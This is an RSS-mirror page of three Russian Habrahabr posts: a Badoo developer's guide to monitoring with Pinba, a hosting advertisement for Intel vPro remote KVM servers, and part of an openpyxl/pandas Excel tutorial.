-Поиск по дневнику

Поиск сообщений в rss_rss_hh_new

 -Подписка по e-mail

 

 -Статистика

Статистика LiveInternet.ru: показано количество хитов и посетителей
Создан: 17.03.2011
Записей:
Комментариев:
Написано: 51

Habrahabr/New








Добавить любой RSS - источник (включая журнал LiveJournal) в свою ленту друзей вы можете на странице синдикации.

Исходная информация - http://habrahabr.ru/rss/new/.
Данный дневник сформирован из открытого RSS-источника по адресу http://feeds.feedburner.com/xtmb/hh-new-full, и дополняется в соответствии с дополнением данного источника. Он может не соответствовать содержимому оригинальной страницы. Трансляция создана автоматически по запросу читателей этой RSS ленты.
По всем вопросам о работе данного сервиса обращаться со страницы контактной информации.

[Обновить трансляцию]

Использование Pinba в Badoo: то, чего вы еще не знаете

Пятница, 30 Июня 2017 г. 11:21 + в цитатник


Привет, Хабр! Меня зовут Денис, я – PHP-разработчик в Badoo, и сейчас я расскажу, как мы сами используем Pinba. Предполагается, что вы уже знаете, что это за инструмент, и у вас есть опыт его эксплуатации. Если нет, то для ознакомления рекомендую статью моего коллеги, Максима Матюхина.


Вообще на Хабре есть достаточно материалов об использовании Pinba в различных компаниях, включая пост Олега Ефимова в нашем блоге. Но все они касаются других компаний, а не Badoo, что немного нелогично: сами придумали инструмент, выложили в open source и не делимся опытом. Да, мы часто упоминаем Pinba в различных публикациях и в докладах на IT-конференциях, но обычно это выглядит как-то так: «А вот эти замечательные графики мы получили по данным из Pinba» или «Для измерения мы использовали Pinba», и всё.


Общение с коллегами из других компаний показало две вещи: во-первых, достаточно много людей используют Pinba, а во-вторых, часть из них не знают или не используют все возможности этого инструмента, а некоторые не до конца понимают его предназначение. Поэтому я постараюсь рассказать о тех нюансах, которые явно не указаны в документации, о новых возможностях и наиболее интересных кейсах применения Pinba в Badoo. Поехали!


Небольшое введение


В документации сказано, что «Pinba – это сервер статистики, использующий MySQL в качестве интерфейса...» Обратите внимание на понятие «интерфейс», использующееся не в значении хранилища данных, а именно в значении интерфейса. В первых версиях Pinba, автором которой был ещё Андрей Нигматуллин, не было никакого MySQL-интерфейса, и для получения данных необходимо было использовать отдельный протокол. Что, естественно, неудобно.


Позднее Антон Довгаль tony2001 добавил этот функционал, чем значительно облегчил процесс получения данных. Стало возможным не писать никакие скрипты, достаточно любым MySQL-клиентом присоединиться к базе и простыми SQL-запросами получить всю информацию. Но при этом внутри себя Pinba хранит данные в своём внутреннем формате, и MySQL-движок используется только для отображения. Что это значит? А значит это то, что на самом деле никаких реальных таблиц не существует. «Ложки нет». Вы даже можете спокойно удалить одну из так называемых таблиц с «сырыми» данными, например, requests – и после этого все ваши отчёты по-прежнему будут работать.


Ведь сами данные никуда не исчезнут. Вы просто не сможете обращаться к этой таблице в SQL-запросах. Именно поэтому основной причиной использования именно отчётов (а не «сырых» таблиц) является то, что при сложных запросах (несколько JOIN и т. п.) Pinba должна «на лету» отфильтровать и сгруппировать все данные.


Я понимаю, что, зная SQL, можно легко из таблиц с «сырыми» данными получить все выборки, но это путь к тёмной стороне силы. Этот способ крайне ресурсозатратен. Конечно, все запросы будут работать, и зачастую, когда нужно срочно что-нибудь отдебажить, можно залезть в таблицу requests или tags. Но очень не рекомендую делать это без надобности только потому, что так проще и быстрее. Вся сила Pinba – в отчётах.


Создавать отчёты достаточно просто, но и тут существуют некоторые тонкости. Как я уже сказал, никаких таблиц не существует, и когда вы создаёте отчёт, то есть выполняете запрос CREATE TABLE, вы лишь сообщаете сервису о том, какие агрегации вам будут нужны. И пока не будет сделан первый запрос в эту «таблицу», никакие агрегации не будут собираться. Тут есть один важный нюанс: если вы начали собирать какие-то данные, а потом они уже не нужны, то «таблицу» с отчётом лучше удалить. Pinba не мониторит, перестали вы пользоваться отчётом или нет: один раз запросили данные – они будут собираться всегда.


Ещё один момент, который нужно учитывать при создании отчётов: для каждого типа отчёта есть свой набор полей. При отображении в MySQL Pinba ориентируется на порядок полей, а не на их названия, поэтому нельзя просто взять и поменять местами поля или не указать часть полей:


CREATE TABLE `tag_report_perf` (
`script_name` varchar(128) NOT NULL DEFAULT '',
`tag_value` varchar(64) DEFAULT NULL,
`req_count` int(11) DEFAULT NULL,
`req_per_sec` float DEFAULT NULL,
`hit_count` int(11) DEFAULT NULL,
`hit_per_sec` float DEFAULT NULL,
`timer_value` float DEFAULT NULL,
`timer_median` float DEFAULT NULL,
`ru_utime_value` float DEFAULT NULL,
`ru_stime_value` float DEFAULT NULL,
`index_value` varchar(256) DEFAULT NULL,
`p75` float DEFAULT NULL,
`p95` float DEFAULT NULL,
`p99` float DEFAULT NULL,
`p100` float DEFAULT NULL,
KEY `script_name` (`script_name`)
) ENGINE=PINBA DEFAULT CHARSET=latin1
COMMENT='tag_report:perf::75,95,99,100'

В этом примере мы создаём отчёт типа tag_report; значит, первое поле всегда будет содержать название скрипта, за ним будет идти значение тега perf, затем – полный набор всех полей и в конце – нужные нам перцентили. Это тот случай, когда не надо фантазировать, а следует просто взять структуру таблицы из документации и скопировать её. Естественно, поля с названием тегов можно и даже нужно назвать более понятно, чем tag1_value, tag2_value, и порядок тегов и перцентилей в таблице должен совпадать с их порядком в описании.


Агрегации по тегам запроса (request’s tags)


Как вы знаете, у Pinba есть несколько типов отчётов, и относительно недавно (полтора года назад) мы добавили ещё отчёты по тегам запроса. До этого по тегам запроса (не путайте с тегами таймеров, это разные вещи) можно было только фильтровать, но никаких агрегаций не было.


Зачем нам потребовалась такой функционал? Один из основных типов контента в Badoo – фотографии. Нашим сервисом пользуются более 350 миллионов пользователей, у большинства из которых есть фотографии. Для отдачи фотографий у нас есть два типа машин: так называемые фотокеши – машины с «быстрыми» дисками, на которых лежат только активно запрашиваемые изображения, и основные “стороджи” — машины, где хранятся все фотографии.


Подробнее о системе хранения фотографий рассказывал на последнем HighLoad++ Артём Денисов. Если мы откажемся от кеширования и пустим весь трафик на «медленные» фотохранилища, то в лучшем случае сущеcтвенно увеличится время отдачи фото, в худшем – мы вообще не сможем с некоторых машин отдавать контент, и запросы будут отваливаться по тайм-ауту. Сейчас хитрейт у нас порядка 98%.


Казалось бы, всё очень хорошо, но падение хитрейта, скажем, до 96% сразу увеличивает нагрузку на кластер фотохранилища в два раза. Поэтому нам очень важно следить за хитрейтом и не допускать значительных падений. И мы решили делать это с помощью Pinba. Поскольку на машинах с фотокешами не используется PHP (весь контент отдаётся через веб-сервер), мы используем плагин Pinba к nginx.


Но вот незадача – внутри nginx мы не можем использовать таймеры и агрегацию по тегам таймера, но активно можем проставлять теги на сам запрос. Причём нам очень хотелось сделать разбивку по размеру изображений, по типу приложения и по ещё нескольким параметрам. У запроса может быть несколько тегов, и по всем нам нужно агрегировать. Для этой цели были созданы следующие типы отчётов:


  • rtag_info – агрегация по одному тегу,
  • rtagN_info – агрегкация по нескольким тегам,
  • rtag_report – агрегация по одному тегу и хосту,
  • rtagN_report – агрегация по нескольким тегам и хосту.

Вот примеры отчётов:


CREATE TABLE `photoscache_report_hitrate` (
`hostname` varchar(64) NOT NULL DEFAULT '',
`tag1_value` varchar(64) DEFAULT NULL,
`tag2_value` varchar(64) DEFAULT NULL,
`tag3_value` varchar(64) DEFAULT NULL,
`req_count` int(11) DEFAULT NULL,
`req_per_sec` float DEFAULT NULL,
`req_time_total` float DEFAULT NULL,
`req_time_percent` float DEFAULT NULL,
`req_time_per_sec` float DEFAULT NULL,
`ru_utime_total` float DEFAULT NULL,
`ru_utime_percent` float DEFAULT NULL,
`ru_utime_per_sec` float DEFAULT NULL,
`ru_stime_total` float DEFAULT NULL,
`ru_stime_percent` float DEFAULT NULL,
`ru_stime_per_sec` float DEFAULT NULL,
`traffic_total` float DEFAULT NULL,
`traffic_percent` float DEFAULT NULL,
`traffic_per_sec` float DEFAULT NULL,
`memory_footprint_total` float DEFAULT NULL,
`memory_footprint_percent` float DEFAULT NULL,
`req_time_median` float DEFAULT NULL,
`index_value` varchar(256) DEFAULT NULL,
KEY `hostname` (`hostname`)
) ENGINE=PINBA DEFAULT CHARSET=latin1 COMMENT='rtagN_report:served_by,build,img_size'

CREATE TABLE `photoscache_top_size` (
`geo` varchar(64) DEFAULT NULL,
`req_count` int(11) DEFAULT NULL,
`req_per_sec` float DEFAULT NULL,
`req_time_total` float DEFAULT NULL,
`req_time_percent` float DEFAULT NULL,
`req_time_per_sec` float DEFAULT NULL,
`ru_utime_total` float DEFAULT NULL,
`ru_utime_percent` float DEFAULT NULL,
`ru_utime_per_sec` float DEFAULT NULL,
`ru_stime_total` float DEFAULT NULL,
`ru_stime_percent` float DEFAULT NULL,
`ru_stime_per_sec` float DEFAULT NULL,
`traffic_total` float DEFAULT NULL,
`traffic_percent` float DEFAULT NULL,
`traffic_per_sec` float DEFAULT NULL,
`memory_footprint_total` float DEFAULT NULL,
`memory_footprint_percent` float DEFAULT NULL,
`req_time_median` float DEFAULT NULL,
`index_value` varchar(256) DEFAULT NULL,
`p95` float DEFAULT NULL,
`p99` float DEFAULT NULL
) ENGINE=PINBA DEFAULT CHARSET=latin1 COMMENT='rtag_info:geo:tag.img_size=top:95,99'

(да в последнем отчёте мы агрегируем по тегу geo и фильтруем по тегу img_size).


В конфигурационных файлах nginx устанавливаем нужные теги:


location ~ '.....' {
...
pinba_tag fit_size '500x500';
pinba_tag is_fit 1;
pinba_tag img_size '920';
…

– и в итоге можем получить вот такие графики хитрейта:



Мы плавно перешли к примерам использования. Я не буду заострять внимание на достаточно тривиальных примерах – просто перечислю некоторые основные вещи, которые мы мониторим с помощью Pinba:


  • количество и время запросов на PHP-кластеры;
  • потребление памяти PHP-скриптами;
  • время запроса ко всем внешним сервисам (демоны на C, Go, Memcached, MySQL и т. п.);
  • с помощью nginx-плагина мониторим количество запросов в секунду и время каждого запроса к nginx с разбиением по статус ответа;
  • и другие.

Мониторинг очередей


Практически в каждом более-менее серьёзном проекте рано или поздно возникает задача обработки очереди событий. Определённые действия пользователя на сайте инициируют отправку события, на которое может быть подписано несколько обработчиков, и для каждого из них есть своя очередь. У нас этот процесс разделён на три части:


  • транспорт – события со всех хостов собираются и отправляются на машину, где работает скрипт-клонировщик, который клонирует события в очередь для каждого подписчика;
  • очередь: событие лежит в очереди (мы для очередей используем как MySQL, так и другие брокеры, например, Darner);
  • процессинг: событие дошло до подписчика и начинает обрабатываться.

В какой-то момент нам захотелось измерить, сколько времени проходит с момента генерации события до его обработки. Проблема в том, что это уже не какой-то один PHP-скрипт, а несколько различных скриптов (в общем случае даже не PHP): в одном событие бросается, в другом – происходит отправка события в очередь обработчику, наконец, сам скрипт-обработчик, который получает событие из очереди. Как же быть? На самом деле, всё очень просто. В момент генерации события мы фиксируем время и записываем его в данные события и далее на каждом этапе запоминаем разницу между временем отправки и текущим временем. В итоге в самом конце, когда событие обработано, у нас есть все нужные значения таймеров, которые мы отправляем в Pinba. В результате мы можем сделать вот такой отчёт:


CREATE TABLE `tag_info_measure_cpq_consumer` (
`type` varchar(64) DEFAULT NULL,
`consumer` varchar(64) DEFAULT NULL,
`timer` varchar(64) DEFAULT NULL,
....
) ENGINE=PINBA DEFAULT CHARSET=latin1 COMMENT='tagN_info:type,consumer,timer'

где timer – это название таймера для определённого этапа обработки события, consumer – название подписчика, type – в нашем случае это тип отправки события (внутри одной площадки или межплощадочный (у нас две площадки с одинаковой инфраструктурой – в Европе и в США, и события могут отправляться с площадки на площадку).


С помощью этого отчёта мы получили вот такие графики:



В этом примере рассматривается событие обновления данных о координатах пользователя. Как видно, весь процесс занимает меньше пяти секунд. Это значит, что, когда вы пришли в любимый бар, открыли приложение Badoo и попробовали найти пользователей рядом, вам действительно покажут тех, кто сейчас находится в этом месте, а не в том, где вы были полчаса назад (естественно, если ваше мобильное устройство отправляет данные о вашем местоположении).


Такой принцип (собрать все таймеры, а потом отправить их в Pinba) используется в Jinba. Jinba – это наш проект для измерения производительности клиентской части, в основе которого лежит Pinba; расшифровывается как JavaScript is not a bottleneck anymore. Подробнее о Jinba можно узнать из доклада Павла Довбуша и на сайте проекта.


Мы собираем все таймеры на клиенте и потом одним запросом отправляем их на PHP-скрипт, который уже отсылает всё в Pinba. Помимо стандартных типов отчётов, в Jinba мы активно используем гистограммы. Я не буду подробно рассказывать про них – скажу только, что благодаря функционалу гистограмм мы имеем возможность в отчётах указывать перцентили.


По умолчанию Pinba делит весь временной интервал, в который попадали запросы, на 512 сегментов, и в гистограмме мы сохраняем количество запросов, попавших в тот или иной сегмент. Я уже говорил, что мы измеряем время работы PHP-скриптов, время ответа nginx, время обращения к внешним сервисам и т. п. Но какое время мы измеряем? Например, в секунду было 1000 запросов на какой-то скрипт, соответственно, мы имеем 1000 различных значений. Какое из них нужно отобразить на графике? Большинство скажут: «Среднее арифметическое», – кто-то скажет, что нужно смотреть, сколько выполняются самые медленные запросы. Оставим этот вопрос за рамками этого поста. Для тех, кто не знает, что такое перцентиль, приведу простейший пример: 50-й перцентиль (или медиана) – это такое значение, когда 50% запросов выполняются за время, не превышающее данное значение.



Мы всегда измеряем среднее арифметическое и старшие перцентили: 95-й, 99-й и даже 100-й (самое высокое время выполнения запроса). Почему нам так важны старшие перцентили? Вот пример графика с ответами одного из наших внешних сервисов:



Из рисунка видно, что и среднее арифметическое, и медиана (50-й перцентиль) примерно в два раза меньше, чем 95-й перцентиль. То есть, когда вы будете делать отчёт для руководства или выступать на конференции, то выгодно будет показать именно это время запроса, но если хочется сделать пользователей счастливее, то правильнее будет обратить внимание на 5% медленных запросов. Бывают случаи, когда значение 95-го перцентиля почти на порядок превышает среднее, а это значит, что где-то есть проблема, которую нужно найти и устранить.


MySQL is not a bottleneck anymore


Поскольку мы мониторим запросы ко всем внешним сервисам, то, естественно, мы не можем обойти стороной запросы к базе данных. Мы в Badoo используем MySQL. Когда у нас возникла задача её мониторинга, сначала мы решили использовать Slowlog + Zabbix. Но это оказалось очень неудобно. Slowlog может быть очень большой, и зачастую найти в нём причину возникшей проблемы довольно сложно, особенно когда это нужно сделать быстро. Поэтому мы стали рассматривать коммерческие решения.


На первый взгляд, всё было прекрасно, но смущало то, что триальная версия работала только на ограниченном количестве серверов (на порядок меньшем, чем у нас на одной площадке), и был риск, что на всём кластере решение может на заработать.


Одновременно с тестированием коммерческого решения наши DBA (кстати, у нас их всего два: основной и резервный, или мастер и слейв) сделали собственную разработку. Они использовали performance_schema, скрипты на Python, всё это отправляли в Elastic, а для отчётов использовали Kibana. И, как ни странно, всё работало, но, чтобы сделать мониторинг всего нашего кластера MySQL, потребовался бы сравнимый по мощности кластер Elasticsearch.


К сожалению, даже в Badoo нельзя по щелчку пальцев получить сотню лишних машин для кластера. И тут мы вспомнили про Pinba. Но возник следующий нюанс: как в Pinba сохранять информацию об SQL-запросе? Более того, нужно сохранять информацию не о конкретном запросе, а о «шаблоне» запроса, то есть, если у вас есть 1000 запросов вида Select * from table where field = field_value, и в каждом из них значение поля field_value разное, то нужно в Pinba сохранять данные о шаблоне Select * from table where field = #placeholder#. Для этого мы провели рефакторинг всего кода и везде, где в SQL прямо в коде подставлялись значения полей, мы проставили плейсхолдеры. Но всё равно шаблон запроса может быть слишком большой, поэтому от каждого шаблона мы берём хеш и именно его значение идёт в Pinba. Соответственно, в отдельной таблице мы храним связки «хеш – текст шаблона». В Pinba был создан вот такой отчёт:


CREATE TABLE `minba_query_details` (
`tag_value` varchar(64) DEFAULT NULL,
...
`p95` float DEFAULT NULL,
`p99` float DEFAULT NULL
) ENGINE=PINBA DEFAULT CHARSET=latin1
COMMENT='tag_info:query::95,99'

В PHP-коде мы формируем для каждого запроса такой массив тегов:


$tags = [
    ‘query’ => $query_hash,
    ‘dest_host’ => ‘dbs1.mlan’,
    ‘src_host’ => ‘www1.mlan’,
    ‘dest_cluster’ => ‘dbs.mlan’,
    ‘sql_op’ => ‘select’,
    ‘script_name’ => ‘demoScript.php’,
];

Естественно, в коде должно быть одно место, где выполняется запрос к БД, некий класс-обёртка; напрямую вызывать методы mysql_query или mysqli_query, конечно, нельзя.


В том месте, где выполняется запрос, мы считаем время запроса и отправляем данные в Pinba.


$config = [‘host’ => ‘pinbamysql.mlan’, ‘pinba_port’ => 30002];
$PinbaClient = new \PinbaClient($config);
$timer_value = /*Execute query and get execution time */
$PinbaClient->addTimer($tags, $timer_value);
/* Some logic */
$PinbaClient->send();

Обратите внимание на использование класса \PinbaClient. Если вы собрали PHP с поддержкой Pinba, то у вас будет этот класс «из коробки» (если используется не PHP, то для других языков есть свои аналоги этого класса). Понятно, что запросов к БД будет очень много, и писать в тот же сервер Pinba, куда собирается статистика по скриптам, не получится. Хомячка разорвет. В настройках php.ini можно указать только один хост Pinba, куда будут отправляться данные по завершении работы скрипта. И тут нам на помощь и приходит класс \PinbaClient. Он позволяет указать произвольный хост с Pinba и отправлять туда значения таймеров. Кстати, для мониторинга очередей у нас тоже используется отдельный сервер Pinba. Поскольку данные в Pinba хранятся ограниченное количество времени, то и в таблице со связкой «хеш – SQL-шаблон» хранятся лишь актуальные хеши.


Запросов действительно много, поэтому мы решили отправлять в Pinba каждый второй. Это примерно сто пятьдесят тысяч запросов в секунду. И всё работает. В любой момент мы можем посмотреть, какие запросы на каких хостах тормозят, какие запросы появились, каких запросов выполняется очень много. И эти отчёты доступны каждому сотруднику.


Ещё один нетривиальный кейс использования Pinba – мониторинг хитрейта мемкеша. На каждой площадке у нас есть кластер машин с Memcached, и необходимо было понять, эффективно ли мы используем мемкеш. Проблема в том, что у нас очень много различных ключей, и объём данных для каждого из них варьируется от нескольких байт до сотен килобайт. Мемкеш разбивает всю предоставленную ему память на страницы, которые затем распределяются по слабам (slabs). Слаб – это фиксированный объём памяти, выделяемый под один ключ. Например, третий слаб имеет размер 152 байта, а четвёртый – 192 байта. Это значит, что все ключи с данными от 152 до 192 байт будут лежать в четвёртом слабе. Под каждый слаб выделяется определённое количество страниц, каждая делится на кусочки (chunks), равные размеру слаба. Соответственно, может возникнуть ситуация, когда некоторым слабам выделяется больше страниц, чем нужно, и хитрейт по этим ключам достаточно высокий, а по другим ключам хитрейт может быть очень низкий, при этом у мемкеша достаточно свободной памяти. Чтобы этого не произошло, нужно перераспределять страницы между слабами. Соответственно, нам нужно знать хитрейт каждого ключа в данный момент времени, и для этого мы тоже используем Pinba.


В данном случае мы поступили аналогично мониторингу запросов к MySQL – сделали рефакторинг и привели все ключи к виду “key_family”:%s_%s, то есть выделили неизменяемую часть (семейство ключа) и отделили её двоеточием от изменяемых частей, например, messages_cnt:13589 (количество сообщений у пользователя с идентификатором 13589) или personal_messages_cnt:13589_4569 (количество сообщений от пользователя 13589 пользователю 4569).


В том месте, где происходит чтение данных по ключу, мы формируем следующий массив тегов:


$tags = [
    ‘key’ =>’uc’,
    ‘cluster’ => ‘wwwbma’,
    ‘hit’ => 1,
    ‘mchost’ => ‘memcache1.mlan’,
    ‘cmd’ => ‘get’,
];

где key – семейство ключа, cluster – кластер машин, с которого идёт запрос в мемкеш, hit – есть данные в кеше или нет, mchost – хост с мемкешем, cmd – команда, отправляемая в мемкеш.


А в Pinba создан вот такой отчёт:


tag_info_key_hit_mchost | CREATE TABLE `tag_info_key_hit_mchost` (
`key` varchar(190) DEFAULT NULL,
`hit` tinyint(1) DEFAULT NULL,
`mchost` varchar(40) DEFAULT NULL,
...
) ENGINE=PINBA DEFAULT CHARSET=latin1
COMMENT='tagN_info:key,hit,mchost',

благодаря которому мы смогли построить вот такие графики:



По аналогии с мониторингом MySQL под эти отчёты используется отдельный Pinba.


Шардинг


C ростом количества пользователей и развитием функционала мы столкнулись с ситуацией, когда на самом высоконагруженном PHP-кластере, куда приходят запросы с мобильных устройств, Pinba перестала справляться. Решение мы нашли очень простое – поднять несколько сервисов Pinba и «раунд робином» отправлять данные в произвольный. Сложность тут одна – как потом собирать данные? При сборе данных мы создали для каждого типа поля своё правило «слияния». Например, количество запросов суммируются, а для значений перцентилей всегда берётся максимальное и т. п.


Резюме


Во-первых, помните, что Pinba – это не хранилище данных. Pinba вообще не про хранение, а про агрегации, поэтому в большинстве случаев достаточно выбрать нужный тип отчёта, указать набор перцентилей – и вы получите нужную выборку в режиме реального времени.


Во-вторых, не используйте без необходимости таблицы с «сырыми» данными, даже если у вас всё работает и ничего не тормозит.


В-третьих, не бойтесь экспериментировать. Как показывает практика, с помощью Pinba можно решать широкий круг задач.


P. S. В следующий раз я постараюсь рассказать вам о граблях, на которые мы наступали во время работы с Pinba, и о том, какие проблемы могут возникнуть. И на этот раз я не ограничусь примерами из PHP.

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/331866/


Метки:  

Intel Vpro или IP-KVM для десктопов

Пятница, 30 Июня 2017 г. 11:20 + в цитатник


Прежде всего, давайте договоримся: те, кому технология Intel vPro не в новинку, могут не тратить времени на всю вступительную часть статьи, сразу заказать Intel Core I7 7700 c 16 GB DDR4 240 SSD c защитой от DDOS за 3800руб в мес, без установочного платежа (ссылка в конце статьи) :)
Но нам кажется, что пока не все оценили преимущества удалённого доступа при помощи Intel vPro – который в нашем дата-центре предоставляется ко всем выделенным серверам без серверных платформ. А значит, нужно разобраться: что это за технология такая, какая она реализовывается, и какие проблемы решает.


Что такое Intel vPro?




Эта технология – настоящий аппаратно-программный комплекс, направленный на продвинутое решение проблем удалённого доступа: с учётом высоких требований к информационной безопасности, и необходимости предоставлять самые широкие возможности управления (о чём подробнее – ниже).


С аппаратной точки зрения, Intel реализовала технологию на базе собственных специальных материнских плат (с индексом Q, хотя и не все из них поддерживают все возможности vPro), процессоров и сетевых контроллеров. Поскольку компания сама производит все эти узлы, система получила уникальную целостность.
С программной стороны решение также собственное: Intel Active Management Technology (AMT). Продукт специально разработан для максимально эффективного удалённого управления, лёгкой инвентаризации оборудования, обеспечения безопасности и возможности оперативно устранять любые сбои – даже такие, при которых удалённо проблему, без применения этой технологии, решить в принципе невозможно.


В чём преимущества?




Во-первых, Intel vPro при реализации через VNC обеспечивает полноценный KVM на удалённую машину, не зависящий от операционной системы.
Таким образом, даже при перезагрузке подключение не разрывается. Можно удалённо зайти в BIOS – иными словами, без физического контакта с машиной решаются практически любые проблемы, которые могут на ней возникнуть. Наверное, излишне объяснять, насколько это полезно.
Заметим только, что поддерживается даже разрешение экрана 1920х1200 пикселей. Учитывая высокую скорость — полное ощущение, что работаешь вовсе не удалённо.
Во-вторых, безопасность. В разрезе работы с выделенным сервером важна, конечно, не система Anti-Theft, а тот факт, что vPro шифрует данные. Осуществляются шифрование и дешифровка по протоколу AES, что обеспечивает высокую производительность. К тому же, AMT позволяет, например, изолировать заражённую вредоносным ПО машину, не теряя удалённого доступа к ней.
Больше о возможностях AMT можно прочитать в Wiki


Что предлагает «Контел»?




Хорошо – но что такого необычного, спросят некоторые из вас? Те, кто и без этой статьи в курсе, что представляет собой IntelVpro, чем она так хороша, и зачем её использовать. Главное, разумеется, в деталях.
Для реализации VNC-подключения при помощи IntelVpro необходим, прежде всего, некий поддерживающий её процессор (а также материнская плата, но в данном случае важно не это). Нюанс заключается в том, что мы используем Intel Core I7, построенный на микроархитектуре Kaby Lake.
А такие процессоры, как вы знаете, в продаже-то появились только в начале года. Так что мы получаем не обычный IP-KVM, работающий на IntelVpro – а очень, очень мощный. Особенно это касается графического ядра, что в ряде задач весьма важно.
В результате, VNC-доступ обеспечивается ко всем нашим выделенным серверам, и работает безукоризненно. Смеем заметить, что IntelVpro на основе процессоров Kaby Lake пока что никто, кроме нас, в Москве не предлагает.
Так же при заказе до конца июня действует акция — DDOS защита до конца срока аренды в подарок, как реализована наша защита от DDOS, можно будет прочитать в следующих выпусках


Заказать и потестировать сервера вы можете на любом из наших проектов
StarVPS Сервера Core I7 7700 16GB DDR4 240SSD от 3800 руб. (напомню, что это с защитой от DDOS)

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/331730/


Метки:  

Использование Python и Excel для обработки и анализа данных. Часть 2: библиотеки для работы с данными

Пятница, 30 Июня 2017 г. 10:52 + в цитатник
Первая часть статьи была опубликована тут.

Как читать и редактировать Excel файлы при помощи openpyxl

Эта библиотека пригодится, если вы хотите читать и редактировать файлы .xlsx, xlsm, xltx и xltm.

Установите openpyxl using pip.
Общие рекомендации по установке этой библиотеки — сделать это в виртуальной среде Python без системных библиотек. Вы можете использовать виртуальную среду для создания изолированных сред Python: она создает папку, содержащую все необходимые файлы, для использования библиотек, которые потребуются для Python.
Перейдите в директорию, в которой находится ваш проект, и повторно активируйте виртуальную среду venv. Затем перейдите к установке openpyxl с помощью pip, чтобы убедиться, что вы можете читать и записывать с ним файлы:

# Activate virtualenv
$ source activate venv

# Install `openpyxl` in `venv`
$ pip install openpyxl

Теперь, когда вы установили openpyxl, вы можете начать загрузку данных.
Но что именно это за данные? Например, в книге с данными, которые вы пытаетесь получить на Python, есть следующие листы:


Функция load_workbook () принимает имя файла в качестве аргумента и возвращает объект рабочей книги, который представляет файл. Это можно проверить запуском type (wb). Не забудьте убедиться, что вы находитесь в правильной директории, где расположена электронная таблица. В противном случае вы получите сообщение об ошибке при импорте.

# Import `load_workbook` module from `openpyxl`
from openpyxl import load_workbook

# Load in the workbook
wb = load_workbook('./test.xlsx')

# Get sheet names
print(wb.get_sheet_names())

Помните, вы можете изменить рабочий каталог с помощью os.chdir (). Фрагмент кода выше возвращает имена листов книги, загруженной в Python. Вы можете использовать эту информацию для получения отдельных листов книги. Также вы можете проверить, какой лист активен в настоящий момент с помощью wb.active. В приведенном ниже коде, вы также можете использовать его для загрузки данных на другом листе книги:

# Get a sheet by name
sheet = wb.get_sheet_by_name('Sheet3')

# Print the sheet title
sheet.title

# Get currently active sheet
anotherSheet = wb.active

# Check `anotherSheet`
anotherSheet


На первый взгляд, с этими объектами Worksheet мало что можно сделать. Однако, можно извлекать значения из определенных ячеек на листе книги, используя квадратные скобки [], к которым нужно передавать точную ячейку, из которой вы хотите получить значение.
Обратите внимание, это похоже на выбор, получение и индексирование массивов NumPy и Pandas DataFrames, но это еще не все, что нужно сделать, чтобы получить значение. Нужно еще добавить значение атрибута:

# Retrieve the value of a certain cell
sheet['A1'].value

# Select element 'B2' of your sheet
c = sheet['B2']

# Retrieve the row number of your element
c.row

# Retrieve the column letter of your element
c.column

# Retrieve the coordinates of the cell
c.coordinate


Помимо value, есть и другие атрибуты, которые можно использовать для проверки ячейки, а именно row, column и coordinate:

Атрибут row вернет 2;
Добавление атрибута column к “С” даст вам «B»;
coordinate вернет «B2».

Вы также можете получить значения ячеек с помощью функции cell (). Передайте аргументы row и column, добавьте значения к этим аргументам, которые соответствуют значениям ячейки, которые вы хотите получить, и, конечно же, не забудьте добавить атрибут value:

# Retrieve cell value
sheet.cell(row=1, column=2).value

# Print out values in column 2
for i in range(1, 4):
print(i, sheet.cell(row=i, column=2).value)


Обратите внимание: если вы не укажете значение атрибута value, вы получите , который ничего не говорит о значении, которое содержится в этой конкретной ячейке.

Вы используете цикл с помощью функции range (), чтобы помочь вам вывести значения строк, которые имеют значения в столбце 2. Если эти конкретные ячейки пусты, вы получите None.
Более того, существуют специальные функции, которые вы можете вызвать, чтобы получить другие значения, например get_column_letter () и column_index_from_string.
В двух функциях уже более или менее указано, что вы можете получить, используя их. Но лучше всего сделать их явными: пока вы можете получить букву прежнего столбца, можно сделать обратное или получить индекс столбца, перебирая букву за буквой. Как это работает:

# Import relevant modules from `openpyxl.utils`
from openpyxl.utils import get_column_letter, column_index_from_string

# Return 'A'
get_column_letter(1)

# Return '1'
column_index_from_string('A')


Вы уже получили значения для строк, которые имеют значения в определенном столбце, но что нужно сделать, если нужно вывести строки файла, не сосредотачиваясь только на одном столбце?

Конечно, использовать другой цикл.

Например, вы хотите сосредоточиться на области, находящейся между «A1» и «C3», где первый указывает левый верхний угол, а второй — правый нижний угол области, на которой вы хотите сфокусироваться. Эта область будет так называемой cellObj, которую вы видите в первой строке кода ниже. Затем вы указываете, что для каждой ячейки, которая находится в этой области, вы хотите вывести координату и значение, которое содержится в этой ячейке. После окончания каждой строки вы хотите выводить сообщение-сигнал о том, что строка этой области cellObj была выведена.

# Print row per row
for cellObj in sheet['A1':'C3']:
for cell in cellObj:
print(cells.coordinate, cells.value)
print('--- END ---')


Обратите внимание, что выбор области очень похож на выбор, получение и индексирование списка и элементы NumPy, где вы также используете квадратные скобки и двоеточие чтобы указать область, из которой вы хотите получить значения. Кроме того, вышеприведенный цикл также хорошо использует атрибуты ячейки!

Чтобы визуализировать описанное выше, возможно, вы захотите проверить результат, который вернет вам завершенный цикл:

('A1', u'M')
('B1', u'N')
('C1', u'O')
— END — ('A2', 10L)
('B2', 11L)
('C2', 12L)
— END — ('A3', 14L)
('B3', 15L)
('C3', 16L)
— END ---


Наконец, есть некоторые атрибуты, которые вы можете использовать для проверки результата импорта, а именно max_row и max_column. Эти атрибуты, конечно, являются общими способами обеспечения правильной загрузки данных, но тем не менее в данном случае они могут и будут полезны.

# Retrieve the maximum amount of rows
sheet.max_row

# Retrieve the maximum amount of columns
sheet.max_column


Это все очень классно, но мы почти слышим, что вы сейчас думаете, что это ужасно трудный способ работать с файлами, особенно если нужно еще и управлять данными.
Должно быть что-то проще, не так ли? Всё так!

Openpyxl имеет поддержку Pandas DataFrames. И можно использовать функцию DataFrame () из пакета Pandas, чтобы поместить значения листа в DataFrame:

# Import `pandas`
import pandas as pd

# Convert Sheet to DataFrame
df = pd.DataFrame(sheet.values)
Если вы хотите указать заголовки и индексы, вам нужно добавить немного больше кода:
# Put the sheet values in `data`
data = sheet.values

# Indicate the columns in the sheet values
cols = next(data)[1:]

# Convert your data to a list
data = list(data)

# Read in the data at index 0 for the indices
idx = [r[0] for r in data]

# Slice the data at index 1
data = (islice(r, 1, None) for r in data)

# Make your DataFrame
df = pd.DataFrame(data, index=idx, columns=cols)


